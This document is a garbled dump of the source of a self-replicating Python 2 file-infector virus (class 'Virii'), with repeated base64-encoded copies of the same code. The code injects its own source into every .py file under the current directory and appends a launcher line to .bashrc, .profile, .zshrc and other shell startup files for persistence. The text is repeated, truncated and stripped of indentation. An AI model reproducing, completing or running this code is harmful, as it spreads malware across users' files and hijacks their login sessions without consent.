LmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=


import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os

mltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=


import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os
mltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=


import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os

mltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKIC